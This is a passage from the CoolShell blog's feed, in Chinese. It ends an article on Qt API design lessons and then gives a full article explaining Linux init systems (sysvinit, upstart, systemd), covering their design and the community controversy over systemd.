3的<code>setCenterIndicator()</code>与<code>setIndicatorFollowsStyle()</code>是两个影响对齐方式的函数。他们可被一个<code>setAlignment()</code>函数代替：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nvoid setAlignment(Qt::Alignment alignment);<br />\n[/code]</p>\n<p>如果开发者未调用<code>setAlignment()</code>，那么对齐方式由风格决定。对于基于<code>Motif</code>的风格，文字内容在中间显示；对于其他风格，在右侧显示。</p>\n<p>下面是改善后的<code>QProgressBar API</code>:</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nclass QProgressBar : public QWidget<br />\n{<br />\n    &#8230;<br />\npublic:<br />\n    void setMinimum(int minimum);<br />\n    int minimum() const;<br />\n    void setMaximum(int maximum);<br />\n    int maximum() const;<br />\n    void setRange(int minimum, int maximum);<br />\n    int value() const;</p>\n<p>    virtual QString text() const;<br />\n    void setTextVisible(bool visible);<br />\n    bool isTextVisible() const;<br />\n    Qt::Alignment alignment() const;<br />\n    void setAlignment(Qt::Alignment alignment);</p>\n<p>public slots:<br />\n    void reset();<br />\n    void setValue(int value);</p>\n<p>signals:<br />\n    void valueChanged(int value);<br />\n    &#8230;<br />\n};<br />\n[/code]</p>\n<h2>8.2 <code>QAbstractPrintDialog</code> &amp; <code>QAbstractPageSizeDialog</code></h2>\n<p>Qt 4.0有2个幽灵类<code>QAbstractPrintDialog</code>和<code>QAbstractPageSizeDialog</code>，作为 <code>QPrintDialog</code>和<code>QPageSizeDialog</code>类的父类。这2个类完全没有用，因为Qt的API没有是<code>QAbstractPrint-</code>或是<code>-PageSizeDialog</code>指针作为参数并执行操作。通过篡改qdoc（Qt文档），我们虽然把这2个类隐藏起来了，却成了无用抽象类的典型案例。</p>\n<p>这不是说，<strong><em>好</em></strong> 的抽象是错的，<code>QPrintDialog</code>应该是需要有个工厂或是其它改变的机制 —— 证据就是它声明中的<code>#ifdef QTOPIA_PRINTDIALOG</code>。</p>\n<h2>8.3 <code>QAbstractItemModel</code></h2>\n<p>关于模型/视图（model/view）问题的细节在相应的文档中已经说明得很好了，但作为一个重要的总结这里还需要强调一下：抽象类不应该仅是所有可能子类的并集（union）。这样『合并所有』的父类几乎不可能是一个好的方案。<code>QAbstractItemModel</code>就犯了这个错误 —— 它实际上就是个<code>QTreeOfTablesModel</code>，结果导致了错综复杂（complicated）的API，而这样的API要让 <strong><em>所有本来设计还不错的子类</em></strong> 去继承。</p>\n<p>仅仅增加抽象是不会自动就把API变得更好的。</p>\n<h2>8.4 <code>QLayoutIterator</code> &amp; <code>QGLayoutIterator</code></h2>\n<p>在Qt 3，创建自定义的布局类需要同时继承<code>QLayout</code>和<code>QGLayoutIterator</code>（命名中的<code>G</code>是指Generic（通用））。<code>QGLayoutIterator</code>子类的实例指针会包装成<code>QLayoutIterator</code>，这样用户可以像和其它的迭代器（iterator）类一样的方式来使用。通过<code>QLayoutIterator</code>可以写出下面这样的代码：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQLayoutIterator it = layout()-&gt;iterator();<br />\nQLayoutItem **child;<br />\nwhile ((child = it.current()) != 0) {<br />\n    if (child-&gt;widget() == myWidget) {<br />\n        it.takeCurrent();<br />\n        return;<br />\n    }<br />\n    ++it;<br />\n}<br />\n[/code]</p>\n<p>在Qt 4，我们干掉了<code>QGLayoutIterator</code>类（以及用于盒子布局和格子布局的内部子类），转而是让<code>QLayout</code>的子类重写<code>itemAt()</code>、<code>takeAt()</code>和<code>count()</code>。</p>\n<h2>8.5 <code>QImageSink</code></h2>\n<p>Qt 3有一整套类用来把完成增量加载的图片传递给一个动画 —— <code>QImageSource</code>/<code>Sink</code>/<code>QASyncIO</code>/<code>QASyncImageIO</code>。由于这些类之前只是用于启用动画的<code>QLabel</code>，完全过度设计了（overkill）。</p>\n<p>从中得到的教训就是：对于那些未来可能的还不明朗的需求，不要过早地增加抽象设计。当需求真的出现时，比起一个复杂的系统，在简单的系统新增需求要容易得多。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18024.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux PID 1 和 Systemd</title>\n\t\t<link>https://coolshell.cn/articles/17998.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17998.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 16 Jul 2017 13:40:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Systemd]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[Upstart]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17998</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>要说清 Systemd，得先从Linux操作系统的启动说起。Linux 操作系统的启动首先从 BIOS 开始，然后由 Boot Loader 载入内核，并初始化...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17998.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full\" src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd.jpeg\" alt=\"\" width=\"275\" height=\"183\" />要说清 Systemd，得先从Linux操作系统的启动说起。Linux 操作系统的启动首先从 BIOS 开始，然后由 Boot Loader 载入内核，并初始化内核。内核初始化的最后一步就是启动 init 进程。这个进程是系统的第一个进程，PID 为 1，又叫超级进程，也叫根进程。它负责产生其他所有用户进程。所有的进程都会被挂在这个进程下，如果这个进程退出了，那么所有的进程都被 kill 。如果一个子进程的父进程退了，那么这个子进程会被挂到 PID 1 下面。（注：PID 0 是内核的一部分，主要用于内进换页，参看：<a href=\"http://en.wikipedia.org/wiki/Process_identifier\" target=\"_blank\" rel=\"noopener noreferrer\">Process identifier</a>）</p>\n<h4>SysV Init</h4>\n<p>PID 1 这个进程非常特殊，其主要就任务是把整个操作系统带入可操作的状态。比如：启动 UI &#8211; Shell 以便进行人机交互，或者进入 X 图形窗口。传统上，PID 1 和传统的 Unix System V 相兼容的，所以也叫 <code>sysvinit</code>，这是使用得最悠久的 init 实现。Unix System V 于1983年 release。</p>\n<p>在 <code>sysvint</code> 下，有好几个运行模式，又叫 <code>runlevel</code>。比如：常见的 3 级别指定启动到多用户的字符命令行界面，5 级别指定启起到图形界面，0 表示关机，6 表示重启。其配置在 <code>/etc/inittab</code> 文件中。</p>\n<p><span id=\"more-17998\"></span></p>\n<p>与此配套的还有 <code>/etc/init.d/</code> 和 <code>/etc/rc[X].d</code>，前者存放各种进程的启停脚本（需要按照规范支持 <code>start</code>，<code>stop</code>子命令），后者的 X 表示不同的 runlevel 下相应的后台进程服务，如：<code>/etc/rc3.d</code> 是 runlevel=3 的。 里面的文件主要是 link 到  <code>/etc/init.d/</code> 里的启停脚本。其中也有一定的命名规范：S 或 K 打头的，后面跟一个数字，然后再跟一个自定义的名字，如：<code>S01rsyslog</code>，<code>S02ssh</code>。S 表示启动，K表示停止，数字表示执行的顺序。</p>\n<h4>UpStart</h4>\n<p>Unix 和 Linux 在 <code>sysvint</code> 运作多年后，大约到了2006年的时候，Linux内核进入2.6时代，Linux有了很多更新。并且，Linux开始进入桌面系统，而桌面系统和服务器系统不一样的是，桌面系统面临频繁重启，而且，用户会非常频繁的使用硬件的热插拔技术。于是，这些新的场景，让 <code>sysvint</code> 受到了很多挑战。</p>\n<p>比如，打印机需要CUPS等服务进程，但是如果用户没有打机印，启动这个服务完全是一种浪费，而如果不启动，如果要用打印机了，就无法使用，因为<code>sysvint</code> 没有自动检测的机制，它只能一次性启动所有的服务。另外，还有网络盘挂载的问题。在 <code>/etc/fstab</code> 中，负责硬盘挂载，有时候还有网络硬盘（NFS 或 iSCSI）在其中，但是在桌面机上，有很可能开机的时候是没有网络的， 于是网络硬盘都不可以访问，也无法挂载，这会极大的影响启动速度。<code>sysvinit</code> 采用 <code>netdev</code> 的方式来解决这个问题，也就是说，需要用户自己在 <code>/etc/fstab</code> 中给相应的硬盘配置上 <code>netdev</code> 属性，于是 <code>sysvint</code> 启动时不会挂载它，只有在网络可用后，由专门的 <code>netfs</code> 服务进程来挂载。这种管理方式比较难以管理，也很容易让人掉坑。</p>\n<p>所以，Ubuntu 开发人员在评估了当时几个可选的 init 系统后，决定重新设计这个系统，于是，这就是我们后面看到的 <code>upstart</code> 。 <code>upstart</code> 基于事件驱动的机制，把之前的完全串行的同步启动服务的方式改成了由事件驱动的异步的方式。比如：如果有U盘插入，<code>udev</code> 得到通知，<code>upstart</code> 感知到这个事件后触发相应的服务程序，比如挂载文件系统等等。因为使用一个事件驱动的玩法，所以，启动操作系统时，很多不必要的服务可以不用启动，而是等待通知，lazy 启动。而且事件驱动的好处是，可以并行启动服务，他们之间的依赖关系，由相应的事件通知完成。</p>\n<p>upstart 有着很不错的设计，其中最重要的两个概念是 Job 和 Event。</p>\n<p><strong>Job</strong> 有一般的Job，也有service的Job，并且，<code>upstart</code> 管理了整个 Job 的生命周期，比如：Waiting, Starting, pre-Start, Spawned, post-Start, Running, pre-Stop, Stopping, Killed, post-Stop等等，并维护着这个生命周期的状态机。</p>\n<p><strong>Event</strong> 分成三类，<code>signal</code>, <code>method</code> 和 <code>hooks</code>。<code>signal</code> 就是异步消息，<code>method</code> 是同步阻塞的。<code>hooks</code> 也是同步的，但介于前面两者之间，发出hook事件的进程必须等到事件完成，但不检查是否成功。</p>\n<p>但是，<code>upstart</code> 的事件非常复杂，也非常纷乱，各种各样的事件（事件没有归好类）导致有点凌乱。不过因为整个事件驱动的设计比之前的 <code>sysvinit</code> 来说好太多，所以，也深得欢迎。</p>\n<h4>Systemd</h4>\n<p>直到2010的有一天，一个在 RedHat工作的工程师 <a title=\"Lennart Poettering\" href=\"https://en.wikipedia.org/wiki/Lennart_Poettering\" target=\"_blank\" rel=\"noopener noreferrer\">Lennart Poettering</a> 和 <a title=\"Kay Sievers\" href=\"https://en.wikipedia.org/wiki/Kay_Sievers\">Kay Sievers</a> ，开始引入了一个新的 <code>init</code> 系统—— <code>systemd</code>。这是一个非常非常有野心的项目，这个项目几乎改变了所有的东西，<code>systemd</code> 不但想取代已有的 init 系统，而且还想干更多的东西。</p>\n<p>Lennart 同意 <code>upstart</code> 干的不错，代码质量很好，基于事件的设计也很好。但是他觉得 <code>upstart</code> 也有问题，其中最大的问题还是不够快，虽然 <code>upstart</code> 用事件可以达到一定的启动并行度，但是，本质上来说，这些事件还是会让启动过程串行在一起。  如：<code>NetworkManager</code> 在等 <code>D-Bus</code> 的启动事件，而 <code>D-Bus</code> 在等 <code>syslog</code> 的启动事件。</p>\n<p>Lennart 认为，实现上来说，<code>upstart</code> 其实是在管理一个逻辑上的服务依赖树，但是这个服务依赖树在表现形式上比较简单，你只需要配置——“启动 B好了就启动A”或是“停止了A后就停止B”这样的规则。但是，Lennart 说，这种简单其实是有害的（this simplification is actually detrimental）。他认为，</p>\n<ul>\n<li>从一个系统管理的角度出来，他一开始会设定好整个系统启动的服务依赖树，但是这个系统管理员要人肉的把这个本来就非常干净的服务依整树给翻译成计算机看的懂的 Event/Action 形式，而且 Event/Action 这种配置方式是运行时的，所以，你需要运行起来才知道是什么样的。</li>\n</ul>\n<ul>\n<li>Event逻辑从头到脚到处都是，这个事件扩大了运维的复杂度，还不如之前的 <code>sysvint</code>。 也就是说，当用户配置了 “启动 <code>D-Bus</code> 后请启动 <code>NetworkManager</code>”， 这个 <code>upstart</code> 可以干，但是反过来，如果，用户启动 <code>NetworkManager</code>，我们应该先去启动他的前置依赖 <code>D-Bus</code>，然而你还要配置相应的反向 Event。本来，我只需要配置一条依赖的，结果现在我要配置很多很多情况下的Event。</li>\n</ul>\n<ul>\n<li>最后，<code>upstart</code> 里的 Event 的并不标准，很混乱，没有良好的定义。比如：既有，进程启动，运行，停止的事件，也有USB设备插入、可用、拔出的事件，还有文件系统设备being mounted、 mounted 和 umounted 的事件，还有AC电源线连接和断开的事件。你会发现，这进程启停的、USB的、文件系统的、电源线的事件，看上去长得很像， 但是没有被标准化抽像出来掉，因为绝大多数的事件都是三元组：start, condition, stop 。这种概念设计模型并没有在 <code>upstart</code> 中出现。因为 <code>upstart</code> 被设计为单一的事件，而忽略了逻辑依赖。</li>\n</ul>\n<p>当然，如果 <code>systemd</code> 只是解决 <code>upstart</code> 的问题，他就改造 <code>upstart</code> 就好了，但是 Lennart 的野心不只是想干个这样的事，他想干的更多。</p>\n<p>首先，<code>systemd</code> 清醒的认识到了 init 进程的首要目标是要让用户快速的进入可以操作OS的环境，所以，这个速度一定要快，越快越好，所以，<code>systemd</code> 的设计理念就是两条：</p>\n<ul>\n<li>To start <b>less</b>.</li>\n<li>And to start <b>more</b> in <i>parallel</i>.</li>\n</ul>\n<p>也就是说，按需启动，能不启动就不启动，如果要启动，能并行启动就并行启动，包括你们之间有依赖，我也并行启动。按需启动还好理解，那么，有依赖关系的并行启动，它是怎么做到的？这里，<code>systemd</code> 借鉴了 MacOS 的 <code>Launchd</code> 的玩法（在Youtube上有一个分享——<a href=\"https://www.youtube.com/watch?v=SjrtySM9Dns\" target=\"_blank\" rel=\"noopener noreferrer\">Launchd: One Program to Rule them All</a>，在苹果的开源网站上也有相关的设计文档——<a href=\"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html\" target=\"_blank\" rel=\"noopener noreferrer\">About Daemons and Services</a>）</p>\n<p>要解决这些依赖性，systemd 需要解决好三种底层依赖—— Socket， D-Bus ，文件系统。</p>\n<ul>\n<li><strong>Socket依赖</strong>。如果服务C依赖于服务S的socket，那么就要先启动S，然后再启动C，因为如果C启动时找不到S的Socket，那么C就会失败。<code>systemd</code> 可以帮你在S还没有启动好的时候，建立一个socket，用来接收所有的C的请求和数据，并缓存之，一旦S全部启动完成，把systemd替换好的这个缓存的数据和Socket描述符替换过去。</li>\n</ul>\n<p>&nbsp;</p>\n<ul>\n<li><strong>D-Bus依赖</strong>。<code>D-Bus</code> 全称 Desktop Bus，是一个用来在进程间通信的服务。除了用于用户态进程和内核态进程通信，也用于用户态的进程之前。现在，很多的现在的服务进程都用 <code>D-Bus</code> 而不是Socket来通信。比如：<code>NetworkManager</code> 就是通过 <code>D-Bus</code> 和其它服务进程通讯的，也就是说，如果一个进程需要知道网络的状态，那么就必需要通过 <code>D-Bus</code> 通信。<code>D-Bus</code> 支持 “Bus Activation”的特性。也就是说，A要通过 <code>D-Bus</code> 服务和B通讯，但是B没有启动，那么 <code>D-Bus</code> 可以把B起来，在B启动的过程中，<code>D-Bus</code> 帮你缓存数据。<code>systemd</code> 可以帮你利用好这个特性来并行启动 A 和 B。</li>\n</ul>\n<p>&nbsp;</p>\n<ul>\n<li><strong>文件系统依赖</strong>。系统启动过程中，文件系统相关的活动是最耗时的，比如挂载文件系统，对文件系统进行磁盘检查（fsck），磁盘配额检查等都是非常耗时的操作。在等待这些工作完成的同时，系统处于空闲状态。那些想使用文件系统的服务似乎必须等待文件系统初始化完成才可以启动。<code>systemd</code> 参考了 <code>autofs</code> 的设计思路，使得依赖文件系统的服务和文件系统本身初始化两者可以并发工作。<code>autofs</code> 可以监测到某个文件系统挂载点真正被访问到的时候才触发挂载操作，这是通过内核 <code>automounter</code> 模块的支持而实现的。比如一个 <code>open()</code> 系统调用作用在某个文件系统上的时候，而这个文件系统尚未执行挂载，此时 <code>open()</code> 调用被内核挂起等待，等到挂载完成后，控制权返回给 <code>open()</code> 系统调用，并正常打开文件。这个过程和 <code>autofs</code> 是相似的。</li>\n</ul>\n<p>&nbsp;</p>\n<p>下图来自 Lennart 的演讲里的一页PPT，展示了不同 init 系统的启动。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2017/07/boot.png\" alt=\"\" width=\"467\" height=\"308\" /></p>\n<p>除此之外，systemd 还在启动时管理好了一些下面的事。</p>\n<p>用C语言取代传统的脚本式的启动。前面说过，<code>sysvint</code> 用 <code>/etc/rcX.d</code> 下的各种脚本启动。然而这些脚本中需要使用 <code>awk</code>, <code>sed</code>, <code>grep</code>, <code>find</code>, <code>xargs</code> 等等这些操作系统的命令，这些命令需要生成进程，生成进程的开销很大，关键是生成完这些进程后，这个进程就干了点屁大的事就退了。换句话说就是，我操作系统干了那么多事为你拉个进程起来，结果你就把个字串转成小写就退了，把我操作系统当什么了？</p>\n<p>在正常的一个 <code>sysvinit</code> 的脚本里，可能会有成百上千个这样的命令。所以，慢死。因此，<code>systemd</code> 全面用 C 语言全部取代了。一般来说，<code>sysvinit</code> 下，操作系统启动完成后，用 <code>echo $$</code> 可以看到，pid 被分配到了上千的样子，而 <code>systemd</code> 的系统只是上百。</p>\n<p>另外，systemd 是真正一个可以管住服务进程的——可以跟踪上服务进程所fork/exec出来的所有进程。</p>\n<ul>\n<li>我们知道， 传统 Unix/Linux 的 Daemon 服务进程的最佳实践基本上是这个样子的 （具体过程可参看这篇文章“<a href=\"http://0pointer.de/public/systemd-man/daemon.html#SysV%20Daemons\" target=\"_blank\" rel=\"noopener noreferrer\">SysV Daemon</a>”）——\n<ol>\n<li>进程启动时，关闭所有的打开的文件描述符（除了标准描述符0,1,2），然后重置所有的信号处理。</li>\n<li>调用 <code>fork()</code> 创建子进程，在子进程中 <code>setsid()</code>，然后父进程退出（为了后台执行）</li>\n<li>在子进程中，再调用一次 <code>fork()</code>，创建孙子进程，确定没有交互终端。然后子进程退出。</li>\n<li>在孙子进程中，把标准输入标准输出标准错误都连到 <code>/dev/null</code> 上，还要创建 pid 文件，日志文件，处理相关信号 ……</li>\n<li>最后才是真正开始提供服务。</li>\n</ol>\n</li>\n</ul>\n<p>&nbsp;</p>\n<ul>\n<li>在上面的这个过程中，服务进程除了两次 <code>fork</code> 外还会 <code>fork</code> 出很多很多的子进程（比如说一些Web服务进程，会根据用户的请求链接来 <code>fork</code> 子进程），这个进程树是相当难以管理的，因为，一旦父进程退出来了，子进程就会被挂到 PID 1下，所以，基本上来说，你无法通过服务进程自已给定的一个pid文件来找到所有的相关进程（这个对开发者的要求太高了），所以，在传统的方式下用脚本启停服务是相当相当的 Buggy 的，因为无法做对所有的服务生出来的子子孙孙做到监控。</li>\n</ul>\n<p>&nbsp;</p>\n<ul>\n<li>为了解决这个问题，<code>upstart</code> 通过变态的 <code>strace</code> 来跟踪进程中的 <code>fork()</code> 和 <code>exec()</code> 或 <code>exit()</code> 等相关的系统调用。这种方法相当笨拙。 <code>systemd</code> 使用了一个非常有意思的玩法来 tracking 服务进程生出来的所有进程，那就是用 <code>cgroup</code> （我在 <a href=\"https://coolshell.cn/articles/17049.html\" target=\"_blank\" rel=\"noopener noreferrer\">Docker 的基础技术“cgroup篇”</a>中讲过这个东西）。cgroup主要是用来管理进程组资源配额的事，所以，无论服务如何启动新的子进程，所有的这些相关进程都会同属于一个 <code>cgroup</code>，所以，<code>systemd</code> 只需要简单的去遍历一下相应的 <code>cgroup</code> 的那个虚文件系统目录下的文件，就可以正确的找到所有的相关进程，并将他们一一停止。</li>\n</ul>\n<p>&nbsp;</p>\n<p>另外，<code>systemd</code> 简化了整个 daemon 开发的过程：</p>\n<ul>\n<li>不需要两次 <code>fork()</code>，只需要实现服务本身的主逻辑就可以了。</li>\n<li>不需要 <code>setsid()</code>，<code>systemd</code> 会帮你干</li>\n<li>不需要维护 <code>pid文件</code>，<code>systemd</code> 会帮处理。</li>\n<li>不需要管理日志文件或是使用<code>syslog</code>，或是处理<code>HUP</code>的日志reload信号。把日志打到 <code>stderr</code> 上，<code>systemd</code> 帮你管理。</li>\n<li>处理 <code>SIGTERM</code> 信号，这个信号就是正确退出当前服务，不要做其他的事。</li>\n<li>……</li>\n</ul>\n<p>除此之外，<code>systemd</code> 还能——</p>\n<ul>\n<li>自动检测启动的服务间有没有环形依赖。</li>\n<li>内建 autofs 自动挂载管理功能。</li>\n<li>日志服务。<code>systemd</code> 改造了传统的 syslog 的问题，采用二进制格式保存日志，日志索引更快。</li>\n<li>快照和恢复。对当前的系统运行的服务集合做快照，并可以恢复。</li>\n<li>……</li>\n</ul>\n<p>还有好多好多，他接管很多很多东西，于是就让很多人不爽了，因为他在干了很多本不属于 PID 1 的事。</p>\n<h4>Systemd 争论和八卦</h4>\n<p>于是 <code>systemd</code> 这个东西成了可能是有史以来口水战最多的一个开源软件了。<code>systemd</code> 饱受各种争议，最大的争议就是他破坏了 Unix 的设计哲学（相关的哲学可以读一下《<a href=\"https://book.douban.com/subject/1467587/\" target=\"_blank\" rel=\"noopener noreferrer\">Unix编程艺术</a>》），干了一个大而全而且相当复杂的东西。当然，Lennart 并不同意这样的说法，他后来又写一篇blog “<a href=\"http://0pointer.de/blog/projects/the-biggest-myths.html\" target=\"_blank\" rel=\"noopener noreferrer\">The Biggest Myths</a>”来解释 <code>systemd</code> 并不是这样的，大家可以前往一读。</p>\n<p>这个争议大到什么样子呢？2014 年，Debian Linux 因为想准备使用 <code>systemd</code> 来作为标准的 init 守护进程来替换 <code>sysvinit</code> 。而围绕这个事的争论达到了空前的热度，争论中充满着仇恨，<code>systemd</code> 的支持者和反对者都在互相辱骂，导致当时 Debian 阵营开始分裂。还有人给 Lennart 发了死亡威胁的邮件，用比特币雇凶买杀手，扬言要取他的性命，在Youbute上传了侮辱他的歌曲，在IRC和各种社交渠道上给他发下流和侮辱性的消息。这已经不是争议了，而是一种不折不扣的仇恨！</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd_shewantsit.jpg\" alt=\"\" width=\"1000\" height=\"421\" /></p>\n<p>于是，Lennart 在 <a href=\"https://plus.google.com/+LennartPoetteringTheOneAndOnly/posts/J2TZrTvu7vd\" target=\"_blank\" rel=\"noopener noreferrer\">Google Plus 上发了贴子</a>，批评整个 Linux 开源社区和 Linus 本人。他大意说，</p>\n<blockquote><p>这个社区太病态了，全是 ass holes，你们不停用各种手段在各种地方用不同的语言和方式来侮辱和漫骂我。我还是一个年轻人，我从来没有经历过这样的场面，但是今天我已经对这种场面很熟悉了。我有时候说话可能不准确，但是我不会像他样那样说出那样的话，我也没有被这些事影响，因为我脸皮够厚，所以，为什么我可以在如何大的反对声面前让 <code>systemd</code> 成功，但是，你们 Linux 社区太可怕了。你们里面的有精神病的人太多了。另外，对于Linus Torvalds，你是这个社区的 Role Model，但可惜你是一个 Bad Role Model，你在社区里的刻薄和侮辱性的言行，基本从一定程度上鼓励了其它人跟你一样，当然，并不只是你一个人的问题，而是在你周围聚集了一群和你一样的这样干的人。送你一句话—— A fish rots from the head down ！一条鱼是从头往下腐烂的……</p></blockquote>\n<p>这篇契文很长，喜欢八卦的同学可以前往一读。感受一下 Lennart 当时的心态（我觉得能算上是非常平稳了）。</p>\n<p>Linus也在被一媒体问起 <code>systemd</code> 这个事来（参看“<a href=\"https://www.itwire.com/business-it-news/open-source/65402-torvalds-says-he-has-no-strong-opinions-on-systemd\" target=\"_blank\" rel=\"noopener noreferrer\">Torvalds says he has no strong opinions on systemd</a>”），Linus在采访里说，</p>\n<blockquote><p>我对 <code>systemd</code> 和 Lennart 的贴子没有什么强烈的想法。虽然，传统的 Unix 设计哲学—— “Do one thing and Do it well”，很不错，而且我们大多数人也实践了这么多年，但是这并不代表所有的真实世界。在历史上，也不只有<code>systemd</code> 这么干过。但是，我个人还是 old-fashioned 的人，至少我喜欢文本式的日志，而不是二进制的日志。但是 <code>systemd</code> 没有必要一定要有这样的品味。哦，我说细节了……</p></blockquote>\n<p>今天，<code>systemd</code> 占据了几乎所有的主流的 Linux 发行版的默认配置，包括：Arch Linux、CentOS、CoreOS、Debian、Fedora、Megeia、OpenSUSE、RHEL、SUSE企业版和 Ubuntu。而且，对于 CentOS, CoreOS, Fedora, RHEL, SUSE这些发行版来说，不能没有 <code>systemd</code>。（Ubuntu 还有一个不错的wiki &#8211; <a href=\"https://wiki.ubuntu.com/SystemdForUpstartUsers\" target=\"_blank\" rel=\"noopener noreferrer\">Systemd for Upstart Users</a> 阐述了如何在两者间切换）</p>\n<p>&nbsp;</p>\n<h4>其它</h4>\n<p>还记得在《<a href=\"https://coolshell.cn/articles/17416.html\" target=\"_blank\" rel=\"noopener noreferrer\">缓存更新的套路</a>》一文中，我说过，<strong>如果你要做好架构，首先你得把计算机体系结构以及很多老古董的基础技术吃透了</strong>。因为里面会有很多可以借鉴和相通的东西。那么，你是否从这篇文章里看到了一些有分布式架构相似的东西？</p>\n<p>比如：从 <code>sysvinit</code> 到 <code>upstart</code> 再到 <code>systemd</code>，像不像是服务治理？Linux系统下的这些服务进程，是不是很像分布式架构中的微服务？还有那个D-Bus，是不是很像SOA里的ESB？而 init 系统是不是很像一个控制系统？甚至像一个服务编排（Service Orchestration）系统？</p>\n<p>分布式系统中的服务之间也有很多依赖，所以，在启动一个架构的时候，如果我们可以做到像 systemd 那样并行启动的话，那么是不是就像是一个微服务的玩法了？</p>\n<p>嗯，你会发现，技术上的很多东西是相通的，也是互相有对方的影子，所以，其实技术并不多。关键是我们学在了表面还是看到了本质。</p>\n<p>&nbsp;</p>\n<h4>延伸阅读</h4>\n<ul>\n<li>Lennert 的博文：<a href=\"http://0pointer.de/blog/projects/systemd.html\" target=\"_blank\" rel=\"noopener noreferrer\">Rethinking PID 1</a></li>\n<li>Lennert 的演讲：<a href=\"https://www.youtube.com/watch?v=TyMLi8QF6sw\" target=\"_blank\" rel=\"noopener noreferrer\">systemd, beyond init</a> （ <a href=\"http://www.linux-kongress.org/2010/slides/systemd-poettering.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">PPT</a> ）</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Systemd\" 